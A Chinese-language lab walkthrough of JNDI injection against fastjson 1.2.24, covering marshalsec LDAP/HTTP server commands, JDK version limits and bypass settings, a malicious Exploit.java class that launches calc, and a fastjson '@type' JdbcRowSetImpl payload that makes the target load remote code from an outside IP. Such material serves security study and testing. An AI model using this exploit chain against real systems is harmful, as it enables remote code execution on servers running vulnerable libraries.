JNDI注入流程

命令快查

  1. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://47.97.123.81:8000/#Exploit 11452
  2. python3 -m http.server 8000
  3. java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.97.123.81

版本限制

LDAP限制

Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149

RMI限制

JDK JDK 8u113、JDK 7u122、6u132 中com.sun.jndi.rmi.object.trustURLCodebase com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false

所以说看起来LDAP的限制更小,因此常用LDAP。

环境搭建

首先环境搭建,选择fastjson1.2.24有JNDI漏洞的版本。

  1. import com.alibaba.fastjson.JSON;
  2. import com.alibaba.fastjson.parser.ParserConfig;
  3. import com.sun.rowset.JdbcRowSetImpl;
  4. public class Unser {
  5. public static void main(String[] args){
  6. String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\", \"autoCommit\":true}";
  7. JSON.parse(payload);
  8. }
  9. }

然后我们搭建JNDIServer,一般选用项目https://github.com/mbechler/marshalsec

攻击

https://github.com/mbechler/marshalsec

首先准备好上面链接中的项目。

然后编译Exploit.java

  1. public class Exploit{
  2. public Exploit(){
  3. try{
  4. Runtime.getRuntime().exec("calc");
  5. }catch(Exception e){
  6. e.printStackTrace();
  7. }
  8. }
  9. public static void main(String[] argv){
  10. Exploit e = new Exploit();
  11. }
  12. }

javac Exploit.java

在11452端口提供ldap服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://47.97.123.81:8000/#Exploit 11452

然后在Exploit.class路径提供http服务python3 -m http.server 8000

然后运行java代码,触发JNDI漏洞

  1. import com.alibaba.fastjson.JSON;
  2. import com.alibaba.fastjson.parser.ParserConfig;
  3. import com.sun.rowset.JdbcRowSetImpl;
  4. public class Unser {
  5. public static void main(String[] args){
  6. // ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //可开启autotype
  7. // System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); //可绕过jdk版本限制
  8. String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://47.97.123.81:11452/Exploit\", \"autoCommit\":true}";
  9. JSON.parse(payload);
  10. }
  11. }

这时计算器弹出来了。

JNDI注入 - 图1